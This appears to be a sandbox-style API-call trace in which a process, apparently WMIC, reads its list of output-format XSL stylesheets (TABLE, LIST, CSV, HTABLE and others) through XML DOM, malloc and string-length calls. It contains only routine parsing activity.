	[0208.873] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x1d178d0, name="KEYWORD", namedItem=0x18f6c8 | out: namedItem=0x18f6c8*=0x1d1a280) returned 0x0
	[0208.873] free (_Block=0x249020) 
	[0208.873] IXMLDOMNode:get_nodeValue (in: This=0x1d1a280, value=0x18f700 | out: value=0x18f700*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="TABLE", varVal2=0x60070001c)) returned 0x0
	[0208.873] malloc (_Size=0x18) returned 0x249020
	[0208.873] malloc (_Size=0x18) returned 0x249000
	[0208.874] malloc (_Size=0x30) returned 0x248080
	[0208.874] IUnknown:Release (This=0x1d1bd50) returned 0x0
	[0208.874] IUnknown:Release (This=0x1d178d0) returned 0x0
	[0208.874] IUnknown:Release (This=0x1d1a280) returned 0x0
	[0208.874] IXMLDOMNodeList:get_item (in: This=0x1d19cc0, index=1, listItem=0x18f6b0 | out: listItem=0x18f6b0*=0x1d1bd50) returned 0x0
	[0208.874] IXMLDOMNode:get_text (in: This=0x1d1bd50, text=0x18f6c0 | out: text=0x18f6c0*="textvaluelist.xsl") returned 0x0
	[0208.874] IXMLDOMNode:get_attributes (in: This=0x1d1bd50, attributeMap=0x18f6b8 | out: attributeMap=0x18f6b8*=0x1d178d0) returned 0x0
	[0208.875] malloc (_Size=0x18) returned 0x249060
	[0208.875] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x1d178d0, name="KEYWORD", namedItem=0x18f6c8 | out: namedItem=0x18f6c8*=0x1d1a280) returned 0x0
	[0208.875] free (_Block=0x249060) 
	[0208.875] IXMLDOMNode:get_nodeValue (in: This=0x1d1a280, value=0x18f700 | out: value=0x18f700*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="VALUE", varVal2=0x60070001c)) returned 0x0
	[0208.875] malloc (_Size=0x18) returned 0x249060
	[0208.875] malloc (_Size=0x18) returned 0x249080
	[0208.875] SysStringLen (param_1="VALUE") returned 0x5
	[0208.875] SysStringLen (param_1="TABLE") returned 0x5
	[0208.875] SysStringLen (param_1="TABLE") returned 0x5
	[0208.875] SysStringLen (param_1="VALUE") returned 0x5
	[0208.875] malloc (_Size=0x30) returned 0x2480c0
	[0208.875] IUnknown:Release (This=0x1d1bd50) returned 0x0
	[0208.876] IUnknown:Release (This=0x1d178d0) returned 0x0
	[0208.876] IUnknown:Release (This=0x1d1a280) returned 0x0
	[0208.876] IXMLDOMNodeList:get_item (in: This=0x1d19cc0, index=2, listItem=0x18f6b0 | out: listItem=0x18f6b0*=0x1d1bd50) returned 0x0
	[0208.876] IXMLDOMNode:get_text (in: This=0x1d1bd50, text=0x18f6c0 | out: text=0x18f6c0*="textvaluelist.xsl") returned 0x0
	[0208.876] IXMLDOMNode:get_attributes (in: This=0x1d1bd50, attributeMap=0x18f6b8 | out: attributeMap=0x18f6b8*=0x1d178d0) returned 0x0
	[0208.876] malloc (_Size=0x18) returned 0x2490a0
	[0208.876] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x1d178d0, name="KEYWORD", namedItem=0x18f6c8 | out: namedItem=0x18f6c8*=0x1d1a280) returned 0x0
	[0208.876] free (_Block=0x2490a0) 
	[0208.876] IXMLDOMNode:get_nodeValue (in: This=0x1d1a280, value=0x18f700 | out: value=0x18f700*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="LIST", varVal2=0x60070001c)) returned 0x0
	[0208.876] malloc (_Size=0x18) returned 0x2490a0
	[0208.877] malloc (_Size=0x18) returned 0x2490c0
	[0208.877] SysStringLen (param_1="LIST") returned 0x4
	[0208.877] SysStringLen (param_1="TABLE") returned 0x5
	[0208.877] malloc (_Size=0x30) returned 0x248100
	[0208.877] IUnknown:Release (This=0x1d1bd50) returned 0x0
	[0208.877] IUnknown:Release (This=0x1d178d0) returned 0x0
	[0208.877] IUnknown:Release (This=0x1d1a280) returned 0x0
	[0208.877] IXMLDOMNodeList:get_item (in: This=0x1d19cc0, index=3, listItem=0x18f6b0 | out: listItem=0x18f6b0*=0x1d1bd50) returned 0x0
	[0208.877] IXMLDOMNode:get_text (in: This=0x1d1bd50, text=0x18f6c0 | out: text=0x18f6c0*="rawxml.xsl") returned 0x0
	[0208.877] IXMLDOMNode:get_attributes (in: This=0x1d1bd50, attributeMap=0x18f6b8 | out: attributeMap=0x18f6b8*=0x1d178d0) returned 0x0
	[0208.878] malloc (_Size=0x18) returned 0x2490e0
	[0208.878] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x1d178d0, name="KEYWORD", namedItem=0x18f6c8 | out: namedItem=0x18f6c8*=0x1d1a280) returned 0x0
	[0208.878] free (_Block=0x2490e0) 
	[0208.878] IXMLDOMNode:get_nodeValue (in: This=0x1d1a280, value=0x18f700 | out: value=0x18f700*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="RAWXML", varVal2=0x60070001c)) returned 0x0
	[0208.878] malloc (_Size=0x18) returned 0x2490e0
	[0208.878] malloc (_Size=0x18) returned 0x249100
	[0208.878] SysStringLen (param_1="RAWXML") returned 0x6
	[0208.879] SysStringLen (param_1="TABLE") returned 0x5
	[0208.879] SysStringLen (param_1="RAWXML") returned 0x6
	[0208.879] SysStringLen (param_1="LIST") returned 0x4
	[0208.879] SysStringLen (param_1="LIST") returned 0x4
	[0208.879] SysStringLen (param_1="RAWXML") returned 0x6
	[0208.879] malloc (_Size=0x30) returned 0x248140
	[0208.879] IUnknown:Release (This=0x1d1bd50) returned 0x0
	[0208.879] IUnknown:Release (This=0x1d178d0) returned 0x0
	[0208.879] IUnknown:Release (This=0x1d1a280) returned 0x0
	[0208.879] IXMLDOMNodeList:get_item (in: This=0x1d19cc0, index=4, listItem=0x18f6b0 | out: listItem=0x18f6b0*=0x1d1bd50) returned 0x0
	[0208.879] IXMLDOMNode:get_text (in: This=0x1d1bd50, text=0x18f6c0 | out: text=0x18f6c0*="htable.xsl") returned 0x0
	[0208.879] IXMLDOMNode:get_attributes (in: This=0x1d1bd50, attributeMap=0x18f6b8 | out: attributeMap=0x18f6b8*=0x1d178d0) returned 0x0
	[0208.880] malloc (_Size=0x18) returned 0x249120
	[0208.880] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x1d178d0, name="KEYWORD", namedItem=0x18f6c8 | out: namedItem=0x18f6c8*=0x1d1a280) returned 0x0
	[0208.880] free (_Block=0x249120) 
	[0208.880] IXMLDOMNode:get_nodeValue (in: This=0x1d1a280, value=0x18f700 | out: value=0x18f700*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="HTABLE", varVal2=0x60070001c)) returned 0x0
	[0208.880] malloc (_Size=0x18) returned 0x249120
	[0208.880] malloc (_Size=0x18) returned 0x249140
	[0208.880] SysStringLen (param_1="HTABLE") returned 0x6
	[0208.880] SysStringLen (param_1="TABLE") returned 0x5
	[0208.880] SysStringLen (param_1="HTABLE") returned 0x6
	[0208.880] SysStringLen (param_1="LIST") returned 0x4
	[0208.881] malloc (_Size=0x30) returned 0x248180
	[0208.881] IUnknown:Release (This=0x1d1bd50) returned 0x0
	[0208.881] IUnknown:Release (This=0x1d178d0) returned 0x0
	[0208.881] IUnknown:Release (This=0x1d1a280) returned 0x0
	[0208.881] IXMLDOMNodeList:get_item (in: This=0x1d19cc0, index=5, listItem=0x18f6b0 | out: listItem=0x18f6b0*=0x1d1bd50) returned 0x0
	[0208.881] IXMLDOMNode:get_text (in: This=0x1d1bd50, text=0x18f6c0 | out: text=0x18f6c0*="hform.xsl") returned 0x0
	[0208.881] IXMLDOMNode:get_attributes (in: This=0x1d1bd50, attributeMap=0x18f6b8 | out: attributeMap=0x18f6b8*=0x1d178d0) returned 0x0
	[0208.881] malloc (_Size=0x18) returned 0x249160
	[0208.881] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x1d178d0, name="KEYWORD", namedItem=0x18f6c8 | out: namedItem=0x18f6c8*=0x1d1a280) returned 0x0
	[0208.881] free (_Block=0x249160) 
	[0208.882] IXMLDOMNode:get_nodeValue (in: This=0x1d1a280, value=0x18f700 | out: value=0x18f700*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="HFORM", varVal2=0x60070001c)) returned 0x0
	[0208.882] malloc (_Size=0x18) returned 0x249160
	[0208.882] malloc (_Size=0x18) returned 0x249180
	[0208.882] SysStringLen (param_1="HFORM") returned 0x5
	[0208.882] SysStringLen (param_1="TABLE") returned 0x5
	[0208.882] SysStringLen (param_1="HFORM") returned 0x5
	[0208.882] SysStringLen (param_1="LIST") returned 0x4
	[0208.882] SysStringLen (param_1="HFORM") returned 0x5
	[0208.882] SysStringLen (param_1="HTABLE") returned 0x6
	[0208.882] malloc (_Size=0x30) returned 0x2481c0
	[0208.883] IUnknown:Release (This=0x1d1bd50) returned 0x0
	[0208.883] IUnknown:Release (This=0x1d178d0) returned 0x0
	[0208.883] IUnknown:Release (This=0x1d1a280) returned 0x0
	[0208.883] IXMLDOMNodeList:get_item (in: This=0x1d19cc0, index=6, listItem=0x18f6b0 | out: listItem=0x18f6b0*=0x1d1bd50) returned 0x0
	[0208.883] IXMLDOMNode:get_text (in: This=0x1d1bd50, text=0x18f6c0 | out: text=0x18f6c0*="xml.xsl") returned 0x0
	[0208.883] IXMLDOMNode:get_attributes (in: This=0x1d1bd50, attributeMap=0x18f6b8 | out: attributeMap=0x18f6b8*=0x1d178d0) returned 0x0
	[0208.883] malloc (_Size=0x18) returned 0x2491a0
	[0208.883] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x1d178d0, name="KEYWORD", namedItem=0x18f6c8 | out: namedItem=0x18f6c8*=0x1d1a280) returned 0x0
	[0208.884] free (_Block=0x2491a0) 
	[0208.884] IXMLDOMNode:get_nodeValue (in: This=0x1d1a280, value=0x18f700 | out: value=0x18f700*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="XML", varVal2=0x60070001c)) returned 0x0
	[0208.884] malloc (_Size=0x18) returned 0x2491a0
	[0208.884] malloc (_Size=0x18) returned 0x2491c0
	[0208.884] SysStringLen (param_1="XML") returned 0x3
	[0208.884] SysStringLen (param_1="TABLE") returned 0x5
	[0208.884] SysStringLen (param_1="XML") returned 0x3
	[0208.884] SysStringLen (param_1="VALUE") returned 0x5
	[0208.885] SysStringLen (param_1="VALUE") returned 0x5
	[0208.885] SysStringLen (param_1="XML") returned 0x3
	[0208.885] malloc (_Size=0x30) returned 0x248200
	[0208.885] IUnknown:Release (This=0x1d1bd50) returned 0x0
	[0208.885] IUnknown:Release (This=0x1d178d0) returned 0x0
	[0208.885] IUnknown:Release (This=0x1d1a280) returned 0x0
	[0208.885] IXMLDOMNodeList:get_item (in: This=0x1d19cc0, index=7, listItem=0x18f6b0 | out: listItem=0x18f6b0*=0x1d1bd50) returned 0x0
	[0208.885] IXMLDOMNode:get_text (in: This=0x1d1bd50, text=0x18f6c0 | out: text=0x18f6c0*="mof.xsl") returned 0x0
	[0208.885] IXMLDOMNode:get_attributes (in: This=0x1d1bd50, attributeMap=0x18f6b8 | out: attributeMap=0x18f6b8*=0x1d178d0) returned 0x0
	[0208.885] malloc (_Size=0x18) returned 0x2491e0
	[0208.886] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x1d178d0, name="KEYWORD", namedItem=0x18f6c8 | out: namedItem=0x18f6c8*=0x1d1a280) returned 0x0
	[0208.886] free (_Block=0x2491e0) 
	[0208.886] IXMLDOMNode:get_nodeValue (in: This=0x1d1a280, value=0x18f700 | out: value=0x18f700*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="MOF", varVal2=0x60070001c)) returned 0x0
	[0208.886] malloc (_Size=0x18) returned 0x2491e0
	[0208.886] malloc (_Size=0x18) returned 0x249200
	[0208.886] SysStringLen (param_1="MOF") returned 0x3
	[0208.886] SysStringLen (param_1="TABLE") returned 0x5
	[0208.886] SysStringLen (param_1="MOF") returned 0x3
	[0208.887] SysStringLen (param_1="LIST") returned 0x4
	[0208.887] SysStringLen (param_1="MOF") returned 0x3
	[0208.887] SysStringLen (param_1="RAWXML") returned 0x6
	[0208.887] SysStringLen (param_1="LIST") returned 0x4
	[0208.887] SysStringLen (param_1="MOF") returned 0x3
	[0208.887] malloc (_Size=0x30) returned 0x248240
	[0208.887] IUnknown:Release (This=0x1d1bd50) returned 0x0
	[0208.887] IUnknown:Release (This=0x1d178d0) returned 0x0
	[0208.887] IUnknown:Release (This=0x1d1a280) returned 0x0
	[0208.887] IXMLDOMNodeList:get_item (in: This=0x1d19cc0, index=8, listItem=0x18f6b0 | out: listItem=0x18f6b0*=0x1d1bd50) returned 0x0
	[0208.887] IXMLDOMNode:get_text (in: This=0x1d1bd50, text=0x18f6c0 | out: text=0x18f6c0*="csv.xsl") returned 0x0
	[0208.887] IXMLDOMNode:get_attributes (in: This=0x1d1bd50, attributeMap=0x18f6b8 | out: attributeMap=0x18f6b8*=0x1d178d0) returned 0x0
	[0208.887] malloc (_Size=0x18) returned 0x249220
	[0208.888] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x1d178d0, name="KEYWORD", namedItem=0x18f6c8 | out: namedItem=0x18f6c8*=0x1d1a280) returned 0x0
	[0208.888] free (_Block=0x249220) 
	[0208.888] IXMLDOMNode:get_nodeValue (in: This=0x1d1a280, value=0x18f700 | out: value=0x18f700*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="CSV", varVal2=0x60070001c)) returned 0x0
	[0208.888] malloc (_Size=0x18) returned 0x249220
	[0208.888] malloc (_Size=0x18) returned 0x249240
	[0208.888] SysStringLen (param_1="CSV") returned 0x3
	[0208.888] SysStringLen (param_1="TABLE") returned 0x5
	[0208.889] SysStringLen (param_1="CSV") returned 0x3
	[0208.889] SysStringLen (param_1="LIST") returned 0x4
	[0208.889] SysStringLen (param_1="CSV") returned 0x3
	[0208.889] SysStringLen (param_1="HTABLE") returned 0x6
	[0208.889] SysStringLen (param_1="CSV") returned 0x3
	[0208.889] SysStringLen (param_1="HFORM") returned 0x5
	[0208.889] malloc (_Size=0x30) returned 0x248280
	[0208.889] IUnknown:Release (This=0x1d1bd50) returned 0x0
	[0208.889] IUnknown:Release (This=0x1d178d0) returned 0x0
	[0208.889] IUnknown:Release (This=0x1d1a280) returned 0x0
	[0208.889] IXMLDOMNodeList:get_item (in: This=0x1d19cc0, index=9, listItem=0x18f6b0 | out: listItem=0x18f6b0*=0x1d1bd50) returned 0x0
	[0208.889] IXMLDOMNode:get_text (in: This=0x1d1bd50, text=0x18f6c0 | out: text=0x18f6c0*="texttable.xsl") returned 0x0
	[0208.890] IXMLDOMNode:get_attributes (in: This=0x1d1bd50, attributeMap=0x18f6b8 | out: attributeMap=0x18f6b8*=0x1d178d0) returned 0x0
	[0208.890] malloc (_Size=0x18) returned 0x249260
	[0208.890] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x1d178d0, name="KEYWORD", namedItem=0x18f6c8 | out: namedItem=0x18f6c8*=0x1d1a280) returned 0x0
	[0208.890] free (_Block=0x249260) 
	[0208.890] IXMLDOMNode:get_nodeValue (in: This=0x1d1a280, value=0x18f700 | out: value=0x18f700*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="texttablewsys.xsl", varVal2=0x60070001c)) returned 0x0
	[0208.890] malloc (_Size=0x18) returned 0x249260
	[0208.890] malloc (_Size=0x18) returned 0x249280
	[0208.891] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0208.891] SysStringLen (param_1="TABLE") returned 0x5
	[0208.891] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0208.891] SysStringLen (param_1="VALUE") returned 0x5
	[0208.891] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0208.891] SysStringLen (param_1="XML") returned 0x3
	[0208.891] SysStringLen (param_1="XML") returned 0x3
	[0208.891] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0208.891] malloc (_Size=0x30) returned 0x2482c0
	[0208.891] IUnknown:Release (This=0x1d1bd50) returned 0x0
	[0208.891] IUnknown:Release (This=0x1d178d0) returned 0x0
	[0208.891] IUnknown:Release (This=0x1d1a280) returned 0x0
	[0208.892] IXMLDOMNodeList:get_item (in: This=0x1d19cc0, index=10, listItem=0x18f6b0 | out: listItem=0x18f6b0*=0x1d1bd50) returned 0x0
	[0208.892] IXMLDOMNode:get_text (in: This=0x1d1bd50, text=0x18f6c0 | out: text=0x18f6c0*="texttable.xsl") returned 0x0
	[0208.892] IXMLDOMNode:get_attributes (in: This=0x1d1bd50, attributeMap=0x18f6b8 | out: attributeMap=0x18f6b8*=0x1d178d0) returned 0x0
	[0208.892] malloc (_Size=0x18) returned 0x2492a0
	[0208.892] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x1d178d0, name="KEYWORD", namedItem=0x18f6c8 | out: namedItem=0x18f6c8*=0x1d1a280) returned 0x0
	[0208.892] free (_Block=0x2492a0) 
	[0208.892] IXMLDOMNode:get_nodeValue (in: This=0x1d1a280, value=0x18f700 | out: value=0x18f700*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="texttablewsys", varVal2=0x60070001c)) returned 0x0
	[0208.892] malloc (_Size=0x18) returned 0x2492a0
	[0208.893] malloc (_Size=0x18) returned 0x2492c0
	[0208.893] SysStringLen (param_1="texttablewsys") returned 0xd
	[0208.893] SysStringLen (param_1="TABLE") returned 0x5
	[0208.893] SysStringLen (param_1="texttablewsys") returned 0xd
	[0208.893] SysStringLen (param_1="XML") returned 0x3
	[0208.893] SysStringLen (param_1="texttablewsys") returned 0xd
	[0208.893] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0208.893] SysStringLen (param_1="XML") returned 0x3
	[0208.893] SysStringLen (param_1="texttablewsys") returned 0xd
	[0208.893] malloc (_Size=0x30) returned 0x248300
	[0208.893] IUnknown:Release (This=0x1d1bd50) returned 0x0
	[0208.893] IUnknown:Release (This=0x1d178d0) returned 0x0
	[0208.893] IUnknown:Release (This=0x1d1a280) returned 0x0
	[0208.894] IXMLDOMNodeList:get_item (in: This=0x1d19cc0, index=11, listItem=0x18f6b0 | out: listItem=0x18f6b0*=0x1d1bd50) returned 0x0
	[0208.894] IXMLDOMNode:get_text (in: This=0x1d1bd50, text=0x18f6c0 | out: text=0x18f6c0*="texttable.xsl") returned 0x0
	[0208.894] IXMLDOMNode:get_attributes (in: This=0x1d1bd50, attributeMap=0x18f6b8 | out: attributeMap=0x18f6b8*=0x1d178d0) returned 0x0
	[0208.894] malloc (_Size=0x18) returned 0x2492e0
	[0208.894] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x1d178d0, name="KEYWORD", namedItem=0x18f6c8 | out: namedItem=0x18f6c8*=0x1d1a280) returned 0x0
	[0208.894] free (_Block=0x2492e0) 
	[0208.894] IXMLDOMNode:get_nodeValue (in: This=0x1d1a280, value=0x18f700 | out: value=0x18f700*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclitableformat.xsl", varVal2=0x60070001c)) returned 0x0
	[0208.894] malloc (_Size=0x18) returned 0x2492e0
	[0208.894] malloc (_Size=0x18) returned 0x249300
	[0208.895] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15
	[0208.895] SysStringLen (param_1="TABLE") returned 0x5
	[0208.895] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15
	[0208.895] SysStringLen (param_1="XML") returned 0x3
	[0208.895] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15
	[0208.895] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0208.895] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0208.895] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15
	[0208.895] malloc (_Size=0x30) returned 0x248340
	[0208.895] IUnknown:Release (This=0x1d1bd50) returned 0x0
	[0208.895] IUnknown:Release (This=0x1d178d0) returned 0x0
	[0208.895] IUnknown:Release (This=0x1d1a280) returned 0x0
	[0208.895] IXMLDOMNodeList:get_item (in: This=0x1d19cc0, index=12, listItem=0x18f6b0 | out: listItem=0x18f6b0*=0x1d1bd50) returned 0x0
	[0208.896] IXMLDOMNode:get_text (in: This=0x1d1bd50, text=0x18f6c0 | out: text=0x18f6c0*="texttable.xsl") returned 0x0
	[0208.896] IXMLDOMNode:get_attributes (in: This=0x1d1bd50, attributeMap=0x18f6b8 | out: attributeMap=0x18f6b8*=0x1d178d0) returned 0x0
	[0208.896] malloc (_Size=0x18) returned 0x249320
	[0208.896] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x1d178d0, name="KEYWORD", namedItem=0x18f6c8 | out: namedItem=0x18f6c8*=0x1d1a280) returned 0x0
	[0208.896] free (_Block=0x249320) 
	[0208.896] IXMLDOMNode:get_nodeValue (in: This=0x1d1a280, value=0x18f700 | out: value=0x18f700*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclitableformat", varVal2=0x60070001c)) returned 0x0
	[0208.896] malloc (_Size=0x18) returned 0x249320
	[0208.897] malloc (_Size=0x18) returned 0x249340
	[0208.897] SysStringLen (param_1="wmiclitableformat") returned 0x11
	[0208.897] SysStringLen (param_1="TABLE") returned 0x5
	[0208.897] SysStringLen (param_1="wmiclitableformat") returned 0x11
	[0208.897] SysStringLen (param_1="XML") returned 0x3
	[0208.897] SysStringLen (param_1="wmiclitableformat") returned 0x11
	[0208.897] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0208.897] SysStringLen (param_1="wmiclitableformat") returned 0x11
	[0208.897] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15
	[0208.897] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0208.897] SysStringLen (param_1="wmiclitableformat") returned 0x11
	[0208.897] malloc (_Size=0x30) returned 0x248380
	[0208.898] IUnknown:Release (This=0x1d1bd50) returned 0x0
	[0208.898] IUnknown:Release (This=0x1d178d0) returned 0x0
	[0208.898] IUnknown:Release (This=0x1d1a280) returned 0x0
	[0208.898] IXMLDOMNodeList:get_item (in: This=0x1d19cc0, index=13, listItem=0x18f6b0 | out: listItem=0x18f6b0*=0x1d1bd50) returned 0x0
	[0208.898] IXMLDOMNode:get_text (in: This=0x1d1bd50, text=0x18f6c0 | out: text=0x18f6c0*="texttable.xsl") returned 0x0
	[0208.898] IXMLDOMNode:get_attributes (in: This=0x1d1bd50, attributeMap=0x18f6b8 | out: attributeMap=0x18f6b8*=0x1d178d0) returned 0x0
	[0208.898] malloc (_Size=0x18) returned 0x249360
	[0208.898] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x1d178d0, name="KEYWORD", namedItem=0x18f6c8 | out: namedItem=0x18f6c8*=0x1d1a280) returned 0x0
	[0208.898] free (_Block=0x249360) 
	[0208.899] IXMLDOMNode:get_nodeValue (in: This=0x1d1a280, value=0x18f700 | out: value=0x18f700*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclitableformatnosys.xsl", varVal2=0x60070001c)) returned 0x0
	[0208.899] malloc (_Size=0x18) returned 0x249360
	[0208.899] malloc (_Size=0x18) returned 0x249380
	[0209.182] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a
	[0209.182] SysStringLen (param_1="TABLE") returned 0x5
	[0209.183] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a
	[0209.183] SysStringLen (param_1="XML") returned 0x3
	[0209.183] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a
	[0209.183] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0209.183] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a
	[0209.183] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15
	[0209.183] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15
	[0209.183] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a
	[0209.183] malloc (_Size=0x30) returned 0x2483c0
	[0209.183] IUnknown:Release (This=0x1d1bd50) returned 0x0
	[0209.184] IUnknown:Release (This=0x1d178d0) returned 0x0
	[0209.184] IUnknown:Release (This=0x1d1a280) returned 0x0
	[0209.184] IXMLDOMNodeList:get_item (in: This=0x1d19cc0, index=14, listItem=0x18f6b0 | out: listItem=0x18f6b0*=0x1d1bd50) returned 0x0
	[0209.184] IXMLDOMNode:get_text (in: This=0x1d1bd50, text=0x18f6c0 | out: text=0x18f6c0*="texttable.xsl") returned 0x0
	[0209.184] IXMLDOMNode:get_attributes (in: This=0x1d1bd50, attributeMap=0x18f6b8 | out: attributeMap=0x18f6b8*=0x1d178d0) returned 0x0
	[0209.184] malloc (_Size=0x18) returned 0x2493a0
	[0209.185] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x1d178d0, name="KEYWORD", namedItem=0x18f6c8 | out: namedItem=0x18f6c8*=0x1d1a280) returned 0x0
	[0209.185] free (_Block=0x2493a0) 
	[0209.185] IXMLDOMNode:get_nodeValue (in: This=0x1d1a280, value=0x18f700 | out: value=0x18f700*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclitableformatnosys", varVal2=0x60070001c)) returned 0x0
	[0209.185] malloc (_Size=0x18) returned 0x2493a0
	[0209.185] malloc (_Size=0x18) returned 0x2493c0
	[0209.185] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16
	[0209.185] SysStringLen (param_1="TABLE") returned 0x5
	[0209.185] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16
	[0209.185] SysStringLen (param_1="XML") returned 0x3
	[0209.186] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16
	[0209.186] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0209.186] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16
	[0209.186] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15
	[0209.186] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16
	[0209.186] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a
	[0209.186] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15
	[0209.186] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16
	[0209.186] malloc (_Size=0x30) returned 0x248400
	[0209.186] IUnknown:Release (This=0x1d1bd50) returned 0x0
	[0209.186] IUnknown:Release (This=0x1d178d0) returned 0x0
	[0209.186] IUnknown:Release (This=0x1d1a280) returned 0x0
	[0209.186] IXMLDOMNodeList:get_item (in: This=0x1d19cc0, index=15, listItem=0x18f6b0 | out: listItem=0x18f6b0*=0x1d1bd50) returned 0x0
	[0209.187] IXMLDOMNode:get_text (in: This=0x1d1bd50, text=0x18f6c0 | out: text=0x18f6c0*="htable.xsl") returned 0x0
	[0209.187] IXMLDOMNode:get_attributes (in: This=0x1d1bd50, attributeMap=0x18f6b8 | out: attributeMap=0x18f6b8*=0x1d178d0) returned 0x0
	[0209.187] malloc (_Size=0x18) returned 0x2493e0
	[0209.187] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x1d178d0, name="KEYWORD", namedItem=0x18f6c8 | out: namedItem=0x18f6c8*=0x1d1a280) returned 0x0
	[0209.187] free (_Block=0x2493e0) 
	[0209.187] IXMLDOMNode:get_nodeValue (in: This=0x1d1a280, value=0x18f700 | out: value=0x18f700*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="htable-sortby.xsl", varVal2=0x60070001c)) returned 0x0
	[0209.187] malloc (_Size=0x18) returned 0x2493e0
	[0209.187] malloc (_Size=0x18) returned 0x249400
	[0209.188] SysStringLen (param_1="htable-sortby.xsl") returned 0x11
	[0209.188] SysStringLen (param_1="TABLE") returned 0x5
	[0209.188] SysStringLen (param_1="htable-sortby.xsl") returned 0x11
	[0209.188] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0209.188] SysStringLen (param_1="htable-sortby.xsl") returned 0x11
	[0209.188] SysStringLen (param_1="XML") returned 0x3
	[0209.188] SysStringLen (param_1="htable-sortby.xsl") returned 0x11
	[0209.188] SysStringLen (param_1="texttablewsys") returned 0xd
	[0209.188] SysStringLen (param_1="XML") returned 0x3
	[0209.188] SysStringLen (param_1="htable-sortby.xsl") returned 0x11
	[0209.188] malloc (_Size=0x30) returned 0x248440
	[0209.189] IUnknown:Release (This=0x1d1bd50) returned 0x0
	[0209.189] IUnknown:Release (This=0x1d178d0) returned 0x0
	[0209.189] IUnknown:Release (This=0x1d1a280) returned 0x0
	[0209.189] IXMLDOMNodeList:get_item (in: This=0x1d19cc0, index=16, listItem=0x18f6b0 | out: listItem=0x18f6b0*=0x1d1bd50) returned 0x0
	[0209.189] IXMLDOMNode:get_text (in: This=0x1d1bd50, text=0x18f6c0 | out: text=0x18f6c0*="htable.xsl") returned 0x0
	[0209.189] IXMLDOMNode:get_attributes (in: This=0x1d1bd50, attributeMap=0x18f6b8 | out: attributeMap=0x18f6b8*=0x1d178d0) returned 0x0
	[0209.189] malloc (_Size=0x18) returned 0x249420
	[0209.189] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x1d178d0, name="KEYWORD", namedItem=0x18f6c8 | out: namedItem=0x18f6c8*=0x1d1a280) returned 0x0
	[0209.189] free (_Block=0x249420) 
	[0209.189] IXMLDOMNode:get_nodeValue (in: This=0x1d1a280, value=0x18f700 | out: value=0x18f700*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="htable-sortby", varVal2=0x60070001c)) returned 0x0
	[0209.190] malloc (_Size=0x18) returned 0x249420
	[0209.190] malloc (_Size=0x18) returned 0x249440
